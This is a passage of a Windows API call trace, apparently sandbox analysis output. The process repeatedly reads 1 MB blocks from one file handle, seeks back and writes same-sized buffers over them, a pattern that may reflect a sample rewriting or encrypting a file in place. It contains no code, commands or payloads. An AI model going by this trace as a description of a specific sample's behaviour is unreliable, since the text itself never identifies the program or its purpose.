	[0098.270] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.283] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.287] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.287] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.289] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.293] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.308] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0098.314] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.337] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.341] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.341] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.343] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.347] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.355] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0098.361] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.374] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.378] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.378] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.380] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.384] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.408] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0098.414] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.427] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.431] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.431] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.434] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.437] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.444] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0098.451] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.460] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.463] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.463] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.465] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.468] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.477] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0098.483] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.505] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.509] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.509] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.523] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.526] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.531] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0098.536] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.545] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.548] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.548] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.549] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.552] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.559] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0098.564] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.578] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.582] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.582] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.593] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.596] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.601] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0098.606] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.619] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.622] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.622] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.624] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.628] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.638] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0098.645] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.661] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.664] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.664] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.666] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.669] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.674] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0098.679] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.784] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.787] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.787] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.792] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.795] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.810] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0098.814] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.824] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.826] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.826] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.828] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.831] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.836] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0098.841] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.851] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.855] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.855] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.856] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.859] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.875] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0098.879] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.889] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.891] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.891] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.893] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.896] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.903] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0098.909] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.920] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.923] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.923] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.925] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.928] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.937] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0098.949] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.958] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.961] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.961] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.963] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.966] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.973] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0098.981] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.994] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.998] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.998] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0099.000] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.004] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0099.012] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0099.026] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0099.037] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.043] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.043] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0099.044] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.047] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0099.053] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0099.060] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0099.076] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.079] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.079] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0099.081] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.085] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0099.103] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0099.112] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0099.127] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.132] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.132] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0099.134] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.138] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0099.144] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0099.151] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0099.165] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.168] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.168] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0099.170] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.174] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0099.192] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0099.203] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0099.219] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.222] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.222] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0099.224] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.227] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0099.232] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0099.236] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0099.247] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.250] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.250] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0099.251] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.254] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0099.262] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0099.281] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0099.299] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0099.302] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.303] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0099.305] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
